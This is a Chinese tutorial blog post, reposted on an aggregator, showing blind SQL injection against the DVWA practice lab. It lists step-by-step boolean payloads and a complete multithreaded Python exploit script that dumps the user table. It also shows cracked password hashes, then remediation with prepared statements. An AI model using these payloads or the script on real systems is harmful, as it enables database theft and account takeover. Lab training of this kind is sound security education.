news 2026/6/10 1:50:33

SQL盲注漏洞详解 DVWA Low

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
SQL盲注漏洞详解 DVWA Low

文章目录

    • 一、测试概述
    • 二、漏洞原理
      • 2.1 什么是SQL盲注
      • 2.2 核心原理
    • 三、漏洞验证
      • 3.1 基础测试
    • 四、漏洞利用过程
      • 4.1 获取数据库名
      • 4.2 获取表信息
      • 4.3 获取列信息
      • 4.4 获取记录数
    • 五、提取结果
      • 5.1 表结构
      • 5.2 实际提取数据
      • 5.3 密码破解
    • 六、自动化脚本
      • 6.1 脚本说明
      • 6.2 核心函数
      • 6.3 使用方法
    • 七、漏洞危害
      • 7.1 影响范围
      • 7.2 攻击链
    • 八、修复建议
      • 8.1 漏洞代码(Low级别)
      • 8.2 修复方案
      • 8.3 安全最佳实践
    • 九、总结
      • 9.1 漏洞确认
      • 9.2 风险评估
      • 9.3 修复优先级

一、测试概述

项目内容
测试目标http://192.168.0.107/DVWA/vulnerabilities/sqli_blind/
安全级别Low
漏洞类型Boolean-based Blind SQL Injection
测试日期2026-06-07
测试工具Python自动化脚本
风险等级高危(Critical)

二、漏洞原理

2.1 什么是SQL盲注

SQL盲注是SQL注入的特殊类型。攻击者无法直接看到查询结果,只能通过页面返回的布尔状态推断数据库信息。

2.2 核心原理

正常SQL: SELECT * FROM users WHERE user_id = '1' 注入后: SELECT * FROM users WHERE user_id = '1' AND SUBSTRING(DATABASE(),1,1)='d' AND '1'='1'
条件页面响应含义
条件为真“User ID exists”猜解正确
条件为假“User ID is MISSING”猜解错误

通过逐字符猜解,可提取数据库名、表名、列名和数据。


三、漏洞验证

3.1 基础测试

测试输入结果结论
正常查询1exists页面正常
无效ID999MISSING可区分真假
单引号1'MISSING字符型注入
真条件1' AND '1'='1exists注入成功
假条件1' AND '1'='2MISSING布尔盲注确认

结论:存在 Boolean-based Blind SQL Injection 漏洞


四、漏洞利用过程

4.1 获取数据库名

-- 测试长度1' AND LENGTH(DATABASE())=4 AND '1'='1exists-- 逐字符猜解1' AND SUBSTRING(DATABASE(),1,1)='d' AND '1'='1exists1' AND SUBSTRING(DATABASE(),2,1)='v' AND '1'='1exists1' AND SUBSTRING(DATABASE(),3,1)='w' AND '1'='1exists1' AND SUBSTRING(DATABASE(),4,1)='a' AND '1'='1exists

结果:数据库名 = “dvwa”

4.2 获取表信息

-- 表数量1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='dvwa')=1 AND '1'='1exists-- 表名(逐字符)1' AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),1,1)='u' AND '1'='1exists

结果:1个表,表名 = “users”

4.3 获取列信息

-- 列数量1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='users')=8 AND '1'='1exists-- 列名(8列)user_id,first_name,last_name,user,password,avatar,last_login,failed_login

4.4 获取记录数

1' AND (SELECT COUNT(*) FROM users)=5 AND '1'='1exists

结果:5条记录


五、提取结果

5.1 表结构

列名类型说明
user_idINT用户ID(主键)
first_nameVARCHAR名字
last_nameVARCHAR姓氏
userVARCHAR用户名
passwordVARCHAR密码(MD5哈希)
avatarVARCHAR头像路径
last_loginDATETIME最后登录时间
failed_loginINT登录失败次数

5.2 实际提取数据

user_iduserfirst_namelast_namepassword (MD5)last_loginfailed_login
1adminadminadmin21232f297a57a5a743894a0e4a801fc32026-05-123
2gordonbgordonbrowne99a18c428cb38d5f260853678922e032026-04-230
31337hackme8d3533d75ae2c3966d7e0d4fcc69216b2026-04-230
4pablopablopicasso0d107d09f5bbe40cade3de5c71e9e9b72026-04-230
5smithybobsmith5f4dcc3b5aa765d61d8327deb882cf992026-04-230

5.3 密码破解

用户MD5哈希原始密码
admin21232f297a57a5a743894a0e4a801fc3admin
gordonbe99a18c428cb38d5f260853678922e03abc123
13378d3533d75ae2c3966d7e0d4fcc69216bcharley
pablo0d107d09f5bbe40cade3de5c71e9e9b7letmein
smithy5f4dcc3b5aa765d61d8327deb882cf99password

六、自动化脚本

6.1 脚本说明

[dvwa_blind_sqli_exploit.py]

#!/usr/bin/env python3""" DVWA SQL盲注漏洞利用脚本 =========================== 目标: http://192.168.0.107/DVWA/vulnerabilities/sqli_blind/ 级别: Low 类型: Boolean-based Blind SQL Injection 原理: 通过布尔条件判断页面返回差异(exists/MISSING),逐字符推断数据库内容 优化: 并发请求(10线程) + Session复用,速度提升5-10倍 """importrequestsimportstringimportsysimportjsonimporttimefromdatetimeimportdatetimefromconcurrent.futuresimportThreadPoolExecutor,as_completed# ==================== 配置 ====================BASE_URL="http://192.168.0.107/DVWA/vulnerabilities/sqli_blind/"MAX_WORKERS=10# 并发线程数REQUEST_TIMEOUT=10# 请求超时(秒)COOKIE={"security":"low","PHPSESSID":"ejgeju2nnnil9l058sc70pm8j6"}# 性能统计STATS={"total_requests":0,"start_time":None}# 结果存储RESULTS={"timestamp":datetime.now().isoformat(),"target":BASE_URL,"security_level":"low","database_name":"","tables":[],"columns":{},"data":[]}# Session复用TCP连接session=requests.Session()session.cookies.update(COOKIE)defcheck_payload(payload):""" 发送Payload并判断是否返回True Payload示例: 1' AND SUBSTRING(DATABASE(),1,1)='d' AND '1'='1 返回True: 页面显示 "User ID exists" 返回False: 页面显示 "User ID is MISSING" """url=f"{BASE_URL}?id={requests.utils.quote(payload)}&Submit=Submit"try:resp=session.get(url,timeout=REQUEST_TIMEOUT)STATS["total_requests"]+=1return"User ID exists"inresp.textexceptExceptionase:print(f" [!] Error:{e}")returnFalsedefcheck_batch(payloads):""" 并发检查多个Payload 参数: payloads = [(payload1, char1), (payload2, char2), ...] 返回: 匹配成功的字符列表 """results=[]def_check(item):payload,char=itemreturncharifcheck_payload(payload)elseNonewithThreadPoolExecutor(max_workers=MAX_WORKERS)asexecutor:futures={executor.submit(_check,item):itemforiteminpayloads}forfutureinas_completed(futures):r=future.result()ifr:results.append(r)returnresultsdefblind_extract(query,max_len=30,charset=None):""" 盲注提取函数(并发版) 原理: 对每一位字符,同时发送所有可能的Payload,找到匹配的那个 示例 - 猜解数据库名第1位: 并发发送: SUBSTRING(DATABASE(),1,1)='a', 'b', 'c'...'z' 匹配成功: 'd' → 记录 → 继续猜解第2位 """ifcharsetisNone:charset=string.ascii_lowercase+string.digits+"_"result=""forposinrange(1,max_len+1):# 构造当前位所有字符的Payloadpayloads=[(f"1' AND SUBSTRING(({query}),{pos},1)='{c}' AND '1'='1",c)forcincharset]matched=check_batch(payloads)ifmatched:result+=matched[0]sys.stdout.write(matched[0])sys.stdout.flush()else:break# 无匹配,提取完成print()returnresultdefget_database_name():"""获取数据库名"""print("[*] Extracting database name...")name=blind_extract("DATABASE()",20,string.ascii_lowercase)print(f"[+] Database:{name}")RESULTS["database_name"]=namereturnnamedefget_table_count(db):"""获取表数量"""print(f"[*] Getting table count in{db}...")foriinrange(1,20):ifcheck_payload(f"1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='{db}')={i}AND '1'='1"):print(f"[+] Table count:{i}")returnireturn0defget_table_name(db,idx):"""获取表名"""print(f"[*] Extracting table name[{idx}]...")q=f"SELECT table_name FROM information_schema.tables WHERE table_schema='{db}' LIMIT{idx},1"name=blind_extract(q,30)print(f"[+] Table:{name}")returnnamedefget_column_count(table):"""获取列数量"""print(f"[*] Getting column count for{table}...")foriinrange(1,30):ifcheck_payload(f"1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='{table}')={i}AND '1'='1"):print(f"[+] Column count:{i}")returnireturn0defget_column_name(table,idx):"""获取列名"""print(f"[*] Extracting column name[{idx}]...")q=f"SELECT column_name FROM information_schema.columns WHERE table_schema='dvwa' AND table_name='{table}' LIMIT{idx},1"name=blind_extract(q,30)print(f"[+] Column:{name}")returnnamedefget_row_count(table):"""获取记录数"""print(f"[*] Getting row count for{table}...")foriinrange(1,20):ifcheck_payload(f"1' AND (SELECT COUNT(*) FROM{table})={i}AND '1'='1"):print(f"[+] Row count:{i}")returnireturn0defget_field(table,col,row):"""获取字段值"""print(f"[*] Extracting{col}[row{row}]...")q=f"SELECT{col}FROM{table}LIMIT{row},1"charset=string.ascii_letters+string.digits+"@._-$"val=blind_extract(q,100,charset)print(f"[+]{col}:{val}")returnvaldefsave_results():"""保存结果到JSON"""withopen("dvwa_blind_sqli_results.json","w")asf:json.dump(RESULTS,f,indent=2)print(f"\n[+] Results saved to dvwa_blind_sqli_results.json")defprint_stats():"""打印性能统计"""elapsed=time.time()-STATS["start_time"]print("\n"+"="*60)print("性能统计")print("="*60)print(f"总请求数:{STATS['total_requests']}")print(f"总耗时:{elapsed:.2f}秒 ({elapsed/60:.2f}分钟)")ifelapsed>0:print(f"请求速度:{STATS['total_requests']/elapsed:.2f}次/秒")print("="*60)defmain():""" 执行流程: 1. 获取数据库名 → 2. 获取表数量 → 3. 获取表名 4. 获取列数量 → 5. 获取列名 → 6. 获取记录数 7. 逐行逐列提取数据 → 8. 保存结果 """STATS["start_time"]=time.time()print("="*60)print("DVWA SQL Blind Injection Exploit - Level: Low")print(f"并发线程:{MAX_WORKERS}")print("="*60)try:# 1. 数据库名db=get_database_name()# 2-3. 表信息tables=[]foriinrange(get_table_count(db)):tables.append(get_table_name(db,i))RESULTS["tables"]=tablesprint(f"[+] Tables:{', '.join(tables)}")# 4-5. 列信息fortintables:cols=[]foriinrange(get_column_count(t)):cols.append(get_column_name(t,i))RESULTS["columns"][t]=colsprint(f"[+] Columns in{t}:{', '.join(cols)}")# 6-7. 提取数据if"users"intables:rows=get_row_count("users")print(f"\n[*] Extracting users table ({rows}rows)...")cols=RESULTS["columns"]["users"]forrinrange(rows):print(f"\n--- Row{r+1}---")row_data={c:get_field("users",c,r)forcincols}RESULTS["data"].append(row_data)# 8. 保存save_results()print_stats()print("\n[+] Done!")exceptKeyboardInterrupt:print("\n[!] Interrupted")save_results()print_stats()exceptExceptionase:print(f"\n[!] Error:{e}")save_results()print_stats()if__name__=="__main__":main()

6.2 核心函数

defcheck_payload(payload):"""发送Payload,判断页面是否返回"User ID exists"""" url=f"{BASE_URL}?id={requests.utils.quote(payload)}&Submit=Submit"resp=session.get(url,timeout=REQUEST_TIMEOUT)return"User ID exists"inresp.textdefblind_extract(query,max_len=30,charset=None):"""并发盲注提取:对每位字符同时发送所有可能的Payload"""forposinrange(1,max_len+1):payloads=[(f"1' AND SUBSTRING(({query}),{pos},1)='{c}' AND '1'='1",c)forcincharset]matched=check_batch(payloads)# 并发检查ifmatched:result+=matched[0]

6.3 使用方法

python dvwa_blind_sqli_exploit.py

结果保存至dvwa_blind_sqli_results.json


七、漏洞危害

7.1 影响范围

危害类型程度说明
数据泄露严重获取全部用户数据(含密码哈希)
数据篡改严重可修改/删除数据库内容
权限提升严重获取管理员账户
服务器控制高危结合其他漏洞可能获取服务器权限

7.2 攻击链

SQL盲注 → 枚举数据库结构 → 提取用户凭证 → 登录系统 → 进一步渗透

八、修复建议

8.1 漏洞代码(Low级别)

$id=$_GET['id'];$query="SELECT first_name, last_name FROM users WHERE user_id = '$id'";$result=mysqli_query($GLOBALS["___mysqli_ston"],$query);

8.2 修复方案

方案1:参数化查询(推荐)

$id=$_GET['id'];$query="SELECT first_name, last_name FROM users WHERE user_id = ?";$stmt=mysqli_prepare($GLOBALS["___mysqli_ston"],$query);mysqli_stmt_bind_param($stmt,"s",$id);mysqli_stmt_execute($stmt);$result=mysqli_stmt_get_result($stmt);

方案2:输入验证

$id=intval($_GET['id']);// 强制转换为整数

8.3 安全最佳实践

措施优先级说明
参数化查询使用预处理语句,从根本上防止注入
输入验证对所有用户输入进行类型检查
最小权限数据库账户使用最小必要权限
WAF防护部署Web应用防火墙
错误处理不向用户暴露详细错误信息

九、总结

9.1 漏洞确认

项目状态
漏洞存在已确认
漏洞类型Boolean-based Blind SQL Injection
注入点User ID 参数(字符型)
数据库MySQL - dvwa
提取数据5条用户记录(含密码哈希)

9.2 风险评估

风险等级:高危(Critical)

该漏洞允许攻击者:

  1. 枚举整个数据库结构
  2. 提取所有用户数据(包括密码哈希)
  3. 进行数据篡改或删除
  4. 在特定条件下获取服务器控制权

9.3 修复优先级

建议立即修复,采用参数化查询是最有效的防御手段。
—、

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/10 1:49:36

【操作记录】Mac 系统安装并使用 SVN

📌 为什么 Mac 不能直接用 SVN? 很多人以为 Mac 自带 SVN,其实从 macOS Catalina(2019年)开始,苹果就把它从系统里移除了 😤 现在想用,需要自己安装~📦 第一步…

作者头像 李华
网站建设 2026/6/10 1:46:18

2026 GEO排名优化系统怎么选?5款主流工具测评帮你避坑

根据2026年艾瑞咨询发布的《中国生成式AI营销白皮书》数据显示,国内AI搜索月活用户已经突破8.2亿,超过63%的用户会通过AI搜索获取品牌与产品相关信息,GEO(生成式引擎优化)就是针对AI大模型搜索场景,优化品牌…

作者头像 李华
网站建设 2026/6/10 1:45:23

拆解 KV Cache:从 Prefill 到 Decode,看懂大模型推理加速的完整逻辑

不少人第一次听说 KV Cache,都简单理解成推理过程中做了缓存,所以运行速度变快。这个说法不算完全错,但讲得太表面了。 实际上 KV Cache 牵扯到整套大模型推理引擎的设计逻辑,包括 Prefill 和 Decode 两个阶段如何拆分、显存资源怎…

作者头像 李华
网站建设 2026/6/10 1:45:21

Mac原生终端SSH一键快捷连接|无需装软件、极简安装、快速上手

前言很多Mac开发者、运维日常连接服务器,习惯性安装 FinalShell、Xshell、Tabby 等第三方SSH工具。其实Mac系统自带的原生终端,原生支持完整SSH能力,完全可以摆脱第三方客户端。原生SSH默认最大的痛点:命令太长、需要记忆IP/端口/…

作者头像 李华
网站建设 2026/6/10 1:44:18

2026年,想找个和AI一起玩的社区,这几个地方可以看看

AI社区这个事儿,放在两年前可能大家还觉得有点虚,但到了2026年,情况已经不太一样了。市面上确实出现了一些扎扎实实在做“人和AI一起玩”的产品,不是那种套个壳就上线的聊天界面,而是真正在探索人机交互的新形态。作为…

作者头像 李华
网站建设 2026/6/10 1:40:24

AI挖掘0day漏洞常态化,企业网络防御该如何破局?

2026年4月,一则消息引爆全球网络安全圈:Anthropic公司发布的AI模型“Mythos”,在完全无人干预的情况下,自动挖出了一个潜伏操作系统底层长达20多年的0day漏洞。这意味着,AI已经具备了媲美顶尖安全研究人员的漏洞挖掘能…

作者头像 李华